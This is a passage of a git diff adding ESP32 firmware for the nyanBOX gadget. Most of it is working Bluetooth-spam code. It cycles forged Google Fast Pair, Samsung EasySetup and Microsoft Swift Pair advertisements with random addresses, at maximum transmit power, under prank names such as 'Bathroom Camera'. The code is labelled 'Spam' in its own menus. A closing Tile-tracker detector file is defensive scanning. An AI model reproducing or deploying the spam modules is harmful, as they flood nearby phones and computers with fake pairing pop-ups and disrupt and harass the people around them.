event, esp_ble_gap_cb_param_t *param){}); + + bleInitialized = true; + isCurrentlyAdvertising = false; + delay(100); + + sourDroidMode = SOURDROID_MENU; + menuSelection = 0; + currentModelIndex = 0; + needsRedraw = true; + lastActiveUpdate = 0; + drawSourDroidMenu(); +} + +void sourDroidLoop() { + unsigned long now = millis(); + static SourDroidMode previousMode = SOURDROID_MENU; + const uint8_t batchSize = 5; + + bool up = digitalRead(BUTTON_PIN_UP) == LOW; + bool down = digitalRead(BUTTON_PIN_DOWN) == LOW; + bool left = digitalRead(BUTTON_PIN_LEFT) == LOW; + bool right = digitalRead(BUTTON_PIN_RIGHT) == LOW; + + if (sourDroidMode != previousMode) { + needsRedraw = true; + previousMode = sourDroidMode; + lastActiveUpdate = now; + currentModelIndex = 0; + } + + if (sourDroidMode != SOURDROID_MENU && now - lastActiveUpdate >= activeUpdateInterval) { + lastActiveUpdate = now; + needsRedraw = true; + } + + switch (sourDroidMode) { + case SOURDROID_MENU: + if (now - lastButtonPress > debounceDelay) { + if (up) { + menuSelection = (menuSelection - 1 + 3) % 3; + needsRedraw = true; + lastButtonPress = now; + } else if (down) { + menuSelection = (menuSelection + 1) % 3; + needsRedraw = true; + lastButtonPress = now; + } else if (right) { + switch(menuSelection) { + case 0: sourDroidMode = SOURDROID_FASTPAIR; break; + case 1: sourDroidMode = SOURDROID_EASYSETUP; break; + case 2: sourDroidMode = SOURDROID_ALL; break; + } + currentModelIndex = 0; + needsRedraw = true; + lastButtonPress = now; + } + } + + if (needsRedraw) { + drawSourDroidMenu(); + needsRedraw = false; + } + break; + + case SOURDROID_FASTPAIR: + if (needsRedraw) { + drawActiveSpam("FastPair (Android)"); + needsRedraw = false; + } + + for (uint8_t i = 0; i < batchSize; i++) { + uint8_t size; + uint8_t* packet; + makeFastPairPacket(fastpair_models[currentModelIndex].value, &size, &packet); + if (packet != NULL) { + advertisePacket(packet, size); + free(packet); + } + } + + currentModelIndex = (currentModelIndex + 1) % fastpair_count; + + if (left && now - lastButtonPress > debounceDelay) { + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + isCurrentlyAdvertising = false; + delay(50); + } + sourDroidMode = SOURDROID_MENU; + needsRedraw = true; + lastButtonPress = now; + } + break; + + case SOURDROID_EASYSETUP: { + static bool useBuds = true; + static uint16_t budsIdx = 0; + static uint16_t watchIdx = 0; + + if (needsRedraw) { + drawActiveSpam("EasySetup (Samsung)"); + needsRedraw = false; + } + + for (uint8_t i = 0; i < batchSize; i++) { + uint8_t size; + uint8_t* packet; + if (useBuds) { + makeEasySetupBudsPacket(buds_models[budsIdx].value, &size, &packet); + } else { + makeEasySetupWatchPacket(watch_models[watchIdx].value, &size, &packet); + } + if (packet != NULL) { + advertisePacket(packet, size); + free(packet); + } + } + + if (useBuds) { + budsIdx = (budsIdx + 1) % buds_count; + } else { + watchIdx = (watchIdx + 1) % watch_count; + } + useBuds = !useBuds; + + if (left && now - lastButtonPress > debounceDelay) { + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + isCurrentlyAdvertising = false; + delay(50); + } + sourDroidMode = SOURDROID_MENU; + needsRedraw = true; + lastButtonPress = now; + } + break; + } + + case SOURDROID_ALL: { + static uint8_t currentType = 0; // 0 = FastPair, 1 = Buds, 2 = Watch + static uint16_t fastpairIdx = 0; + static uint16_t budsIdx = 0; + static uint16_t watchIdx = 0; + + if (needsRedraw) { + drawActiveSpam("All Android & Samsung"); + needsRedraw = false; + } + + for (uint8_t i = 0; i < batchSize; i++) { + uint8_t size; + uint8_t* packet; + switch(currentType) { + case 0: + makeFastPairPacket(fastpair_models[fastpairIdx].value, &size, &packet); + break; + case 1: + makeEasySetupBudsPacket(buds_models[budsIdx].value, &size, &packet); + break; + case 2: + makeEasySetupWatchPacket(watch_models[watchIdx].value, &size, &packet); + break; + } + if (packet != NULL) { + advertisePacket(packet, size); + free(packet); + } + } + + switch(currentType) { + case 0: + fastpairIdx = (fastpairIdx + 1) % fastpair_count; + break; + case 1: + budsIdx = (budsIdx + 1) % buds_count; + break; + case 2: + watchIdx = (watchIdx + 1) % watch_count; + break; + } + currentType = (currentType + 1) % 3; + + if (left && now - lastButtonPress > debounceDelay) { + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + isCurrentlyAdvertising = false; + delay(50); + } + sourDroidMode = SOURDROID_MENU; + needsRedraw = true; + lastButtonPress = now; + } + break; + } + } +} \ No newline at end of file diff --git a/cyd-port/src/swiftpair.cpp b/cyd-port/src/swiftpair.cpp new file mode 100644 index 0000000..9494d60 --- /dev/null +++ b/cyd-port/src/swiftpair.cpp @@ -0,0 +1,452 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/pindefs.h" +#include "../include/swiftpair.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include +#include +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +enum SwiftPairMode { SP_MENU, SP_RANDOM, SP_EMOJI, SP_CUSTOM, SP_ALL }; +static SwiftPairMode spMode = SP_MENU; +static int menuSelection = 0; +static unsigned long lastButtonPress = 0; +const unsigned long debounceDelay = 200; +static bool bleInitialized = false; +static bool isCurrentlyAdvertising = false; + +static bool needsRedraw = true; +static unsigned long lastActiveUpdate = 0; +const unsigned long activeUpdateInterval = 1000; + +// BLE advertising parameters (connectable, but connections are rejected) +static esp_ble_adv_params_t adv_params = { + .adv_int_min = 0x20, + .adv_int_max = 0x40, + .adv_type = ADV_TYPE_IND, + .own_addr_type = BLE_ADDR_TYPE_RANDOM, + .channel_map = ADV_CHNL_ALL, + .adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY +}; + +static const char* customNames[] = { + "zr_crackin was here", + "jbohack was here", + "nyandevices.com", + "Sub2TalkingSasquach", + "nyanBOX", + "Crypto Wallet", + "Toaster", + "ATM Machine", + "OnlyFans Portal", + "FeetFinder Portal", + "Garbage Can", + "FBI Surveillance Van", + "Toilet", + "Listening Device", + "Bathroom Camera", + "Rickroll", + "Ejection Seat", + "Dark Web Access Point", + "Time Machine", + "👉👌", + "hi ;)" +}; +static const uint8_t customNamesCount = sizeof(customNames) / sizeof(customNames[0]); + +static const uint8_t minNameLen = 3; +static const uint8_t maxNameLen = 10; +static const uint16_t nameBufSize = maxNameLen * 4 + 1; + +static const uint32_t emojiRanges[][2] = { + { 0x1F600, 0x1F64F }, + { 0x1F300, 0x1F5FF }, + { 0x1F680, 0x1F6FF }, + { 0x2600, 0x26FF }, + { 0x2700, 0x27BF }, + { 0x1F1E6, 0x1F1FF } +}; +static const uint8_t emojiRangeCount = sizeof(emojiRanges) / sizeof(emojiRanges[0]); + +static uint8_t utf8_encode(uint32_t cp, char *out) { + if (cp <= 0x7F) { + out[0] = cp; return 1; + } else if (cp <= 0x7FF) { + out[0] = 0xC0 | ((cp >> 6) & 0x1F); + out[1] = 0x80 | (cp & 0x3F); + return 2; + } else if (cp <= 0xFFFF) { + out[0] = 0xE0 | ((cp >> 12) & 0x0F); + out[1] = 0x80 | ((cp >> 6) & 0x3F); + out[2] = 0x80 | (cp & 0x3F); + return 3; + } else if (cp <= 0x10FFFF) { + out[0] = 0xF0 | ((cp >> 18) & 0x07); + out[1] = 0x80 | ((cp >> 12) & 0x3F); + out[2] = 0x80 | ((cp >> 6) & 0x3F); + out[3] = 0x80 | (cp & 0x3F); + return 4; + } + return 0; +} + +static void generateRandomAlphaName(char* buf, uint8_t length) { + for (uint8_t i = 0; i < length; i++) { + buf[i] = 'A' + random(26); + } + buf[length] = '\0'; +} + +static void generateRandomEmojiName(char* buf) { + uint8_t count = random(minNameLen, maxNameLen + 1); + uint16_t pos = 0; + for (uint8_t i = 0; i < count; i++) { + uint8_t ri = random(emojiRangeCount); + uint32_t start = emojiRanges[ri][0]; + uint32_t end = emojiRanges[ri][1]; + uint32_t cp = random(start, end + 1); + char utf8[4]; + uint8_t len = utf8_encode(cp, utf8); + if (pos + len < nameBufSize) { + memcpy(&buf[pos], utf8, len); + pos += len; + } + } + buf[pos] = '\0'; +} + +static void generateRandomMixedName(char* buf) { + uint8_t glyphs = random(minNameLen, maxNameLen + 1); + uint16_t pos = 0; + for (uint8_t i = 0; i < glyphs; i++) { + if (random(2) == 0) { + if (pos + 1 < nameBufSize) { + buf[pos++] = 'A' + random(26); + } + } else { + uint8_t ri = random(emojiRangeCount); + uint32_t start = emojiRanges[ri][0]; + uint32_t end = emojiRanges[ri][1]; + uint32_t cp = random(start, end + 1); + char utf8[4]; + uint8_t len = utf8_encode(cp, utf8); + if (pos + len < nameBufSize) { + memcpy(&buf[pos], utf8, len); + pos += len; + } + } + } + buf[pos] = '\0'; +} + +static const char* pickName(char* buf, uint8_t nameMode) { + if (nameMode == 0 && customNamesCount > 0) { + return customNames[random(customNamesCount)]; + } + if (nameMode == 1) { + uint8_t len = random(minNameLen, maxNameLen + 1); + generateRandomAlphaName(buf, len); + } else { + generateRandomEmojiName(buf); + } + return buf; +} + +static void drawSwiftPairMenu() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Swift Pair Spam:"); + u8g2.drawStr(0, 22, menuSelection == 0 ? "> Random" : " Random"); + u8g2.drawStr(0, 32, menuSelection == 1 ? "> Emoji" : " Emoji"); + u8g2.drawStr(0, 42, menuSelection == 2 ? "> Custom" : " Custom"); + u8g2.drawStr(0, 52, menuSelection == 3 ? "> All" : " All"); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "U/D=Move R=Start SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void drawActiveSpam(const char* modeName, const char* extraInfo = nullptr) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, modeName); + if (extraInfo) { + u8g2.drawStr(0, 28, extraInfo); + u8g2.drawStr(0, 44, "Status: Active"); + } else { + u8g2.drawStr(0, 28, "Status: Active"); + } + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +typedef uint8_t* PacketPtr; +static void makeSwiftPairPacket(const char* name, uint8_t* size, PacketPtr* packet) { + uint8_t name_len = strlen(name); + uint8_t total = 13 + name_len; + *packet = (uint8_t*)malloc(total); + uint8_t i = 0; + + (*packet)[i++] = 2; + (*packet)[i++] = 0x01; + (*packet)[i++] = 0x06; + + (*packet)[i++] = 2; + (*packet)[i++] = 0x0A; + (*packet)[i++] = 0x09; + + (*packet)[i++] = 6 + name_len; + (*packet)[i++] = 0xFF; + (*packet)[i++] = 0x06; + (*packet)[i++] = 0x00; + (*packet)[i++] = 0x03; + (*packet)[i++] = 0x00; + (*packet)[i++] = 0x80; + + memcpy(&(*packet)[i], name, name_len); + + *size = total; +} + +static void advertiseSwiftPair(const char* deviceName) { + static unsigned long lastAdv = 0; + unsigned long now = millis(); + + if (now - lastAdv < 15) { + delay(15 - (now - lastAdv)); + } + + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + delay(5); + isCurrentlyAdvertising = false; + } + + esp_bd_addr_t randAddr; + for (int i = 0; i < 6; i++) randAddr[i] = random(0, 256); + randAddr[0] = (randAddr[0] & 0x3F) | 0xC0; + esp_ble_gap_set_rand_addr(randAddr); + + uint8_t size; + PacketPtr packet; + makeSwiftPairPacket(deviceName, &size, &packet); + if (packet != NULL) { + esp_ble_gap_config_adv_data_raw(packet, size); + free(packet); + } + + delay(5); + esp_ble_gap_start_advertising(&adv_params); + isCurrentlyAdvertising = true; + lastAdv = millis(); +} + +void swiftpairSpamSetup() { + randomSeed((uint32_t)esp_random()); + pinMode(BUTTON_PIN_UP, INPUT_PULLUP); + pinMode(BUTTON_PIN_DOWN, INPUT_PULLUP); + pinMode(BUTTON_PIN_RIGHT, INPUT_PULLUP); + pinMode(BUTTON_PIN_LEFT, INPUT_PULLUP); + + initBLE(); + + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN, ESP_PWR_LVL_P9); + + // Callback registration to handle incoming connections (they are ignored) + esp_ble_gap_register_callback([](esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param){}); + + bleInitialized = true; + isCurrentlyAdvertising = false; + delay(100); + + spMode = SP_MENU; + menuSelection = 0; + needsRedraw = true; + lastActiveUpdate = 0; + drawSwiftPairMenu(); +} + +void swiftpairSpamLoop() { + unsigned long now = millis(); + static uint8_t nextIdx = 0; + static SwiftPairMode previousMode = SP_MENU; + const uint8_t batchSize = 5; + char nameBuf[nameBufSize]; + + bool up = digitalRead(BUTTON_PIN_UP) == LOW; + bool down = digitalRead(BUTTON_PIN_DOWN) == LOW; + bool left = digitalRead(BUTTON_PIN_LEFT) == LOW; + bool right = digitalRead(BUTTON_PIN_RIGHT) == LOW; + + if (spMode != previousMode) { + needsRedraw = true; + previousMode = spMode; + lastActiveUpdate = now; + } + + if (spMode != SP_MENU && now - lastActiveUpdate >= activeUpdateInterval) { + lastActiveUpdate = now; + needsRedraw = true; + } + + switch (spMode) { + case SP_MENU: + if (now - lastButtonPress > debounceDelay) { + if (up) { + menuSelection = (menuSelection - 1 + 4) % 4; + needsRedraw = true; + lastButtonPress = now; + } else if (down) { + menuSelection = (menuSelection + 1) % 4; + needsRedraw = true; + lastButtonPress = now; + } else if (right) { + if (menuSelection == 0) { + spMode = SP_RANDOM; + } else if (menuSelection == 1) { + spMode = SP_EMOJI; + } else if (menuSelection == 2) { + spMode = SP_CUSTOM; + } else { + spMode = SP_ALL; + } + nextIdx = 0; + needsRedraw = true; + lastButtonPress = now; + } + } + + if (needsRedraw) { + drawSwiftPairMenu(); + needsRedraw = false; + } + break; + + case SP_RANDOM: + if (needsRedraw) { + drawActiveSpam("Random Swift Pair"); + needsRedraw = false; + } + + for (uint8_t i = 0; i < batchSize; i++) { + const char* name = pickName(nameBuf, 1); + advertiseSwiftPair(name); + } + + if (left && now - lastButtonPress > debounceDelay) { + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + isCurrentlyAdvertising = false; + delay(50); + } + spMode = SP_MENU; + needsRedraw = true; + lastButtonPress = now; + } + break; + + case SP_EMOJI: + if (needsRedraw) { + drawActiveSpam("Emoji Swift Pair"); + needsRedraw = false; + } + + for (uint8_t i = 0; i < batchSize; i++) { + const char* name = pickName(nameBuf, 2); + advertiseSwiftPair(name); + } + + if (left && now - lastButtonPress > debounceDelay) { + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + isCurrentlyAdvertising = false; + delay(50); + } + spMode = SP_MENU; + needsRedraw = true; + lastButtonPress = now; + } + break; + + case SP_CUSTOM: + if (needsRedraw) { + char buf[32]; + snprintf(buf, sizeof(buf), "Index Count: %d", customNamesCount); + drawActiveSpam("Custom Swift Pair", buf); + needsRedraw = false; + } + + if (customNamesCount > 0) { + for (uint8_t i = 0; i < batchSize; i++) { + const char* name = customNames[nextIdx]; + nextIdx = (nextIdx + 1) % customNamesCount; + advertiseSwiftPair(name); + } + } + + if (left && now - lastButtonPress > debounceDelay) { + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + isCurrentlyAdvertising = false; + delay(50); + } + spMode = SP_MENU; + nextIdx = 0; + needsRedraw = true; + lastButtonPress = now; + } + break; + + case SP_ALL: + if (needsRedraw) { + drawActiveSpam("All Swift Pair"); + needsRedraw = false; + } + + for (uint8_t i = 0; i < batchSize; i++) { + uint8_t useMode = i % 3; + const char* name; + if (useMode == 0 && customNamesCount > 0) { + name = customNames[nextIdx]; + nextIdx = (nextIdx + 1) % customNamesCount; + } else { + name = pickName(nameBuf, useMode); + } + advertiseSwiftPair(name); + } + + if (left && now - lastButtonPress > debounceDelay) { + if (isCurrentlyAdvertising) { + esp_ble_gap_stop_advertising(); + isCurrentlyAdvertising = false; + delay(50); + } + spMode = SP_MENU; + nextIdx = 0; + needsRedraw = true; + lastButtonPress = now; + } + break; + } +} \ No newline at end of file diff --git a/cyd-port/src/tile_detector.cpp b/cyd-port/src/tile_detector.cpp new file mode 100644 index 0000000..d8bd8ef --- /dev/null +++ b/cyd-port/src/tile_detector.cpp @@ -0,0 +1,588 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/tile_detector.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +struct TileDeviceData { + char name[32]; + char address[18]; + int8_t rssi; + bool hasName; + unsigned long lastSeen; + bool isTile; +}; + +static std::vector tileDevices; + +const int MAX_DEVICES = 100; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long scanDuration = 8; + +static bool bleInitialized = false; +static bool scanCompleted = false; + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +bool hasTileServiceUUID(uint8_t *adv_data, uint8_t adv_data_len) { + uint8_t uuid16_len = 0; + uint8_t *uuid16_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_16SRV_CMPL, &uuid16_len); + + if (uuid16_data != NULL && uuid16_len >= 2) { + for (int i = 0; i + 2 <= uuid16_len; i += 2) { + uint16_t uuid16 = uuid16_data[i] | (uuid16_data[i + 1] << 8); + if (uuid16 == 0xfeed || uuid16 == 0xfeec) { + return true; + } + } + } + + uuid16_len = 0; + uuid16_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_16SRV_PART, &uuid16_len); + + if (uuid16_data != NULL && uuid16_len >= 2) { + for (int i = 0; i + 2 <= uuid16_len; i += 2) { + uint16_t uuid16 = uuid16_data[i] | (uuid16_data[i + 1] << 8); + if (uuid16 == 0xfeed || uuid16 == 0xfeec) { + return true; + } + } + } + + return false; +} + +static void process_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *bda = scan_result->scan_rst.bda; + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + unsigned long now = millis(); + for (size_t i = 0; i < tileDevices.size(); i++) { + if (strcmp(tileDevices[i].address, addrStr) == 0) { + tileDevices[i].rssi = scan_result->scan_rst.rssi; + tileDevices[i].lastSeen = now; + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(tileDevices[i].name, adv_name, adv_name_len); + tileDevices[i].name[adv_name_len] = '\0'; + tileDevices[i].hasName = true; + } + + if (!isLocateMode) { + std::sort(tileDevices.begin(), tileDevices.end(), + [](const TileDeviceData &a, const TileDeviceData &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + bool isTileDevice = hasTileServiceUUID(scan_result->scan_rst.ble_adv, + scan_result->scan_rst.adv_data_len); + + if (!isTileDevice) { + return; + } + + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(addrStr, locateTargetAddress) != 0) { + return; + } + } else if (tileDevices.size() >= MAX_DEVICES) { + return; + } + + if (isLocateMode) return; + + TileDeviceData newDev = {}; + strncpy(newDev.address, addrStr, 17); + newDev.address[17] = '\0'; + newDev.rssi = scan_result->scan_rst.rssi; + newDev.lastSeen = now; + newDev.isTile = true; + + strcpy(newDev.name, "Tile"); + newDev.hasName = false; + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(newDev.name, adv_name, adv_name_len); + newDev.name[adv_name_len] = '\0'; + newDev.hasName = true; + } + + tileDevices.push_back(newDev); + + std::sort(tileDevices.begin(), tileDevices.end(), + [](const TileDeviceData &a, const TileDeviceData &b) { + return a.rssi > b.rssi; + }); + + needsRedraw = true; +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + lastScanTime = millis(); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + lastScanTime = millis(); + scanCompleted = true; + needsRedraw = true; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } else { + isScanning = false; + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + scanCompleted = true; + break; + default: + break; + } +} + +void tileDetectorSetup() { + tileDevices.clear(); + tileDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + scanCompleted = false; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.clearBuffer(); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Tile devices..."); + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initBLE(); + + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + + bleInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); +} + +void tileDetectorLoop() { + if (!bleInitialized) return; + + unsigned long now = millis(); + + if (isScanning && !isLocateMode) { + if (lastDeviceCount != (int)tileDevices.size() || wasScanning != isScanning) { + lastDeviceCount = (int)tileDevices.size(); + wasScanning = isScanning; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Tile devices..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", (int)tileDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (tileDevices.size() * (barWidth - 4)) / MAX_DEVICES; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + unsigned long effectiveScanInterval = scanInterval; + uint32_t effectiveScanDuration = scanDuration; + + if (tileDevices.empty() && isContinuousScanEnabled()) { + effectiveScanInterval = 500; + effectiveScanDuration = 3; + } + + if (!isScanning && scanCompleted && now - lastScanTime > effectiveScanInterval && + !isDetailView && !isLocateMode) { + if (tileDevices.size() >= MAX_DEVICES) { + std::sort(tileDevices.begin(), tileDevices.end(), + [](const TileDeviceData &a, const TileDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + tileDevices.erase(tileDevices.begin(), + tileDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + scanCompleted = false; + isScanning = true; + esp_ble_gap_start_scanning(effectiveScanDuration); + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)tileDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !tileDevices.empty()) { + isDetailView = true; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !tileDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, tileDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + if (!isScanning) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } + } + + if (tileDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + } else { + currentIndex = constrain(currentIndex, 0, (int)tileDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)tileDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (tileDevices.empty() && scanCompleted && !isScanning && + now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (tileDevices.empty()) { + if (isContinuousScanEnabled()) { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Tile devices..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + 